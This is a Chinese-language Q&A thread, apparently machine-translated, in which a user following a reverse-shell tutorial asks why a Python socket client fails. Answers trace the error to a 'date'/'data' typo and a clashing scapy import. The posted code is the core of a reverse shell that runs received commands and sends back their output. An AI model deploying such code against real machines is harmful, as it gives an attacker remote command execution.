套接字客户端问题“__getitem__”

问题描述:

您好我在看关于反求一些教程使用python在YouTube上https://www.youtube.com/watch?v=-QMPYah8fWI&index=5&list=PL6gx4Cwl9DGCbpkBEMiCaiu_3OL-_Bz_8][1]套接字客户端问题“__getitem__”

此客户端的目的是从服务器接收命令外壳,服务器的伟大工程,但是,当我跑客户也给了我这个

File "/root/Desktop/Revers/client.py", line 15, in <module> 
if data[:2].decode('utf-8') == "cd": 
TypeError: 'module' object has no attribute '__getitem_ 

这里是代码:

s = socket.socket() 
s.connect((host, port)) 

while True: 
    date = s.recv(1024) 
    if data[:2].decode('utf-8') == "cd": 
     os.chdir(data[3:].decode("utf-8")) 
    if len(data) > 0: 
     cmd = subprocess.Popen(data[:].decode("utf-8"), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, 
          stdin=subprocess.PIPE) 
     output_bytes = cmd.stdout.read() + cmd.stderr.read() 
     output_str = str(output_bytes) 
     s.send(str.encode(output_str + str(os.getcwd()) + '> ')) 
     print(output_str) 

s.close() 
+0

题外话:以root身份运行桌面环境是一个不好的主意。 –

有在这一行一个错字:

 date = s.recv(1024) 

date而不是data

所以表达式data[:2]调用data.__getitem__其中data之前定义。

由于关于'module' object的错误,我猜想data是您之前导入的模块。

+0

是的,当然,当我检查我看到我导入数据模块从scapy 像:从scapy导入数据 –